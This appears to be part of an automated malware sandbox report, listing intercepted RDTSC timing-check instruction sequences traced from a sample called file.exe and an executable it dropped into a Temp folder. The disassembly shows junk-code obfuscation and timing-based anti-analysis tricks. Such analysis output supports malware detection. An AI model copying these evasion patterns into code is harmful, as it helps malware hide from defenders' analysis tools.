Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0352 second address: 4BB0359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0359 second address: 4BB03B0 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 jmp 00007F9E78CDB7AEh 0x0000000d mov dword ptr [esp], ebp 0x00000010 jmp 00007F9E78CDB7B0h 0x00000015 mov ebp, esp 0x00000017 jmp 00007F9E78CDB7B0h 0x0000001c sub esp, 2Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F9E78CDB7B7h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB03B0 second address: 4BB03C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9E7960D384h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB03C8 second address: 4BB041C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d mov edi, esi 0x0000000f pushfd 0x00000010 jmp 00007F9E78CDB7B0h 0x00000015 adc esi, 26ADD928h 0x0000001b jmp 00007F9E78CDB7ABh 0x00000020 popfd 0x00000021 popad 0x00000022 push eax 0x00000023 pushad 0x00000024 mov eax, edx 0x00000026 pushad 0x00000027 mov bh, 66h 0x00000029 mov ax, 05E9h 0x0000002d popad 0x0000002e popad 0x0000002f xchg eax, ebx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F9E78CDB7ABh 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB041C second address: 4BB0463 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F9E7960D37Fh 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esp 0x0000000f jmp 00007F9E7960D382h 0x00000014 mov dword ptr [esp], edi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F9E7960D387h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0477 second address: 4BB047C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB047C second address: 4BB04AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D380h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b jmp 00007F9E7960D381h 0x00000010 sub edi, edi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB04AB second address: 4BB04AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB04AF second address: 4BB04C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D384h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB04C7 second address: 4BB04CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB04CD second address: 4BB0511 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc ebx 0x00000009 pushad 0x0000000a mov esi, edx 0x0000000c jmp 00007F9E7960D37Bh 0x00000011 popad 0x00000012 test al, al 0x00000014 jmp 00007F9E7960D386h 0x00000019 je 00007F9E7960D57Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F9E7960D37Ah 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0511 second address: 4BB0517 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0517 second address: 4BB0548 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F9E7960D37Ch 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c lea ecx, dword ptr [ebp-14h] 0x0000000f jmp 00007F9E7960D37Dh 0x00000014 mov dword ptr [ebp-14h], edi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push edx 0x0000001b pop eax 0x0000001c mov ebx, 7BE3DE2Ah 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0571 second address: 4BB0598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9E78CDB7B7h 0x00000009 popad 0x0000000a nop 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov dh, 45h 0x00000010 mov si, 6353h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0598 second address: 4BB05B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9E7960D384h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB062C second address: 4BB0632 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0632 second address: 4BB0636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0636 second address: 4BB06C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test eax, eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f pushfd 0x00000010 jmp 00007F9E78CDB7B3h 0x00000015 xor esi, 3079086Eh 0x0000001b jmp 00007F9E78CDB7B9h 0x00000020 popfd 0x00000021 pop eax 0x00000022 popad 0x00000023 jg 00007F9EE9BC95AFh 0x00000029 jmp 00007F9E78CDB7AAh 0x0000002e js 00007F9E78CDB816h 0x00000034 jmp 00007F9E78CDB7B0h 0x00000039 cmp dword ptr [ebp-14h], edi 0x0000003c jmp 00007F9E78CDB7B0h 0x00000041 jne 00007F9EE9BC9585h 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB06C8 second address: 4BB06CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB06CC second address: 4BB06E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB06E9 second address: 4BB0712 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9E7960D387h 0x00000008 mov dx, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebx, dword ptr [ebp+08h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0712 second address: 4BB0718 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0718 second address: 4BB0755 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F9E7960D384h 0x00000008 pop eax 0x00000009 jmp 00007F9E7960D37Bh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 lea eax, dword ptr [ebp-2Ch] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F9E7960D380h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0755 second address: 4BB075B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB075B second address: 4BB076C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9E7960D37Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB076C second address: 4BB07A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007F9E78CDB7AAh 0x0000000e mov dword ptr [esp], esi 0x00000011 jmp 00007F9E78CDB7B0h 0x00000016 nop 0x00000017 jmp 00007F9E78CDB7B0h 0x0000001c push eax 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 mov ecx, edi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB07A9 second address: 4BB0803 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F9E7960D383h 0x00000008 adc esi, 376680CEh 0x0000000e jmp 00007F9E7960D389h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushfd 0x00000019 jmp 00007F9E7960D37Eh 0x0000001e add cx, 7948h 0x00000023 jmp 00007F9E7960D37Bh 0x00000028 popfd 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0803 second address: 4BB0819 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov esi, 7B212153h 0x00000011 mov ax, 7FAFh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0819 second address: 4BB085E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D385h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F9E7960D37Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 mov si, bx 0x00000014 push edi 0x00000015 mov ax, EC7Fh 0x00000019 pop esi 0x0000001a popad 0x0000001b xchg eax, ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F9E7960D37Eh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB085E second address: 4BB0870 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9E78CDB7AEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB089B second address: 4BB08A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB08A1 second address: 4BB08C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7AEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F9E78CDB7ADh 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB08C8 second address: 4BB08EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D387h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB08EB second address: 4BB0906 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0906 second address: 4BB0069 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D389h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F9EEA4FB0A8h 0x0000000f xor eax, eax 0x00000011 jmp 00007F9E795E6AAAh 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e cmp eax, 00000000h 0x00000021 setne cl 0x00000024 xor ebx, ebx 0x00000026 test cl, 00000001h 0x00000029 jne 00007F9E7960D377h 0x0000002b jmp 00007F9E7960D4EBh 0x00000030 call 00007F9E7DC16615h 0x00000035 mov edi, edi 0x00000037 jmp 00007F9E7960D388h 0x0000003c xchg eax, ebp 0x0000003d pushad 0x0000003e pushfd 0x0000003f jmp 00007F9E7960D37Eh 0x00000044 adc ah, FFFFFF98h 0x00000047 jmp 00007F9E7960D37Bh 0x0000004c popfd 0x0000004d mov dl, ch 0x0000004f popad 0x00000050 push eax 0x00000051 jmp 00007F9E7960D382h 0x00000056 xchg eax, ebp 0x00000057 pushad 0x00000058 mov ebx, esi 0x0000005a mov eax, 76DA6A09h 0x0000005f popad 0x00000060 mov ebp, esp 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F9E7960D37Bh 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0069 second address: 4BB00A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9E78CDB7B8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB00A3 second address: 4BB00B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D37Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB00B2 second address: 4BB00B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB019B second address: 4BB0CE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D37Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b and bl, 00000001h 0x0000000e movzx eax, bl 0x00000011 lea esp, dword ptr [ebp-0Ch] 0x00000014 pop esi 0x00000015 pop edi 0x00000016 pop ebx 0x00000017 pop ebp 0x00000018 ret 0x00000019 add esp, 04h 0x0000001c jmp dword ptr [005BA41Ch+ebx*4] 0x00000023 push edi 0x00000024 call 00007F9E79632D77h 0x00000029 push ebp 0x0000002a push ebx 0x0000002b push edi 0x0000002c push esi 0x0000002d sub esp, 000001D0h 0x00000033 mov dword ptr [esp+000001B4h], 005BCB10h 0x0000003e mov dword ptr [esp+000001B0h], 000000D0h 0x00000049 mov dword ptr [esp], 00000000h 0x00000050 mov eax, dword ptr [005B81DCh] 0x00000055 call eax 0x00000057 mov edi, edi 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0CE9 second address: 4BB0CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0CF0 second address: 4BB0D49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9E7960D382h 0x00000009 and si, 2AD8h 0x0000000e jmp 00007F9E7960D37Bh 0x00000013 popfd 0x00000014 mov ch, BDh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push edx 0x0000001a jmp 00007F9E7960D380h 0x0000001f mov dword ptr [esp], ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F9E7960D387h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0D49 second address: 4BB0DB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, A90Ah 0x00000007 movsx ebx, cx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F9E78CDB7B8h 0x00000016 sub ecx, 4A9A99F8h 0x0000001c jmp 00007F9E78CDB7ABh 0x00000021 popfd 0x00000022 mov ah, 63h 0x00000024 popad 0x00000025 cmp dword ptr [75AF459Ch], 05h 0x0000002c jmp 00007F9E78CDB7ABh 0x00000031 je 00007F9EE9BB940Ch 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F9E78CDB7B5h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0145 second address: 4BC0154 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D37Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0154 second address: 4BC0159 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0159 second address: 4BC019F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F9E7960D385h 0x0000000a and ax, 2F16h 0x0000000f jmp 00007F9E7960D381h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov dword ptr [ebp-1Ch], esi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F9E7960D37Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0201 second address: 4BC0277 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c mov al, EEh 0x0000000e pushfd 0x0000000f jmp 00007F9E78CDB7B9h 0x00000014 and cx, D5F6h 0x00000019 jmp 00007F9E78CDB7B1h 0x0000001e popfd 0x0000001f popad 0x00000020 je 00007F9EE9B9FEDEh 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 pushfd 0x0000002a jmp 00007F9E78CDB7AAh 0x0000002f jmp 00007F9E78CDB7B5h 0x00000034 popfd 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0886 second address: 4BD08D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 xchg eax, esi 0x00000007 jmp 00007F9E7960D388h 0x0000000c mov esi, dword ptr [ebp+0Ch] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F9E7960D37Dh 0x00000018 xor eax, 4E9E72D6h 0x0000001e jmp 00007F9E7960D381h 0x00000023 popfd 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD08D4 second address: 4BD0926 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c mov edx, 1543F6E6h 0x00000011 popad 0x00000012 je 00007F9EE9B99265h 0x00000018 jmp 00007F9E78CDB7ADh 0x0000001d cmp dword ptr [75AF459Ch], 05h 0x00000024 pushad 0x00000025 mov si, 7BB3h 0x00000029 movzx ecx, bx 0x0000002c popad 0x0000002d je 00007F9EE9BB1322h 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0926 second address: 4BD092B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD092B second address: 4BD095F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9E78CDB7B7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD095F second address: 4BD0965 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0965 second address: 4BD0969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD09E9 second address: 4BD0A1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D385h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F9E7960D381h 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0A1A second address: 4BD0A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F9E78CDB7B9h 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0A39 second address: 4BD0A3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0A3F second address: 4BD0A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0A67 second address: 4BD0A7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D37Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov ebx, ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0A7F second address: 4BD0A98 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 72CC23DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, 64F91EFBh 0x0000000e popad 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movsx ebx, cx 0x00000016 mov bh, al 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0A98 second address: 4BD0AA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9E7960D37Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0AA9 second address: 4BD0AAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: D9E437 second address: D9DCAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D37Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c or dword ptr [ebp+122D252Eh], edx 0x00000012 push dword ptr [ebp+122D0BD1h] 0x00000018 sub dword ptr [ebp+122D3BCEh], ebx 0x0000001e call dword ptr [ebp+122D25E8h] 0x00000024 pushad 0x00000025 mov dword ptr [ebp+122D283Dh], ecx 0x0000002b xor eax, eax 0x0000002d mov dword ptr [ebp+122D283Dh], edx 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 add dword ptr [ebp+122D2802h], eax 0x0000003d sub dword ptr [ebp+122D2825h], edi 0x00000043 mov dword ptr [ebp+122D2D72h], eax 0x00000049 cld 0x0000004a mov esi, 0000003Ch 0x0000004f sub dword ptr [ebp+122D2825h], ecx 0x00000055 add esi, dword ptr [esp+24h] 0x00000059 jmp 00007F9E7960D37Ah 0x0000005e clc 0x0000005f lodsw 0x00000061 jmp 00007F9E7960D37Ah 0x00000066 add eax, dword ptr [esp+24h] 0x0000006a jmp 00007F9E7960D37Ch 0x0000006f mov ebx, dword ptr [esp+24h] 0x00000073 jmp 00007F9E7960D381h 0x00000078 nop 0x00000079 jmp 00007F9E7960D387h 0x0000007e push eax 0x0000007f push eax 0x00000080 push edx 0x00000081 jmp 00007F9E7960D37Fh 0x00000086 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: D9DCAC second address: D9DCB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F220D2 second address: F220F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9E7960D37Ch 0x0000000b jne 00007F9E7960D376h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F220F1 second address: F22104 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9E78CDB7AAh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F223EB second address: F223EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F2537E second address: F25382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F25382 second address: F25390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F9E7960D376h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F25390 second address: F25394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
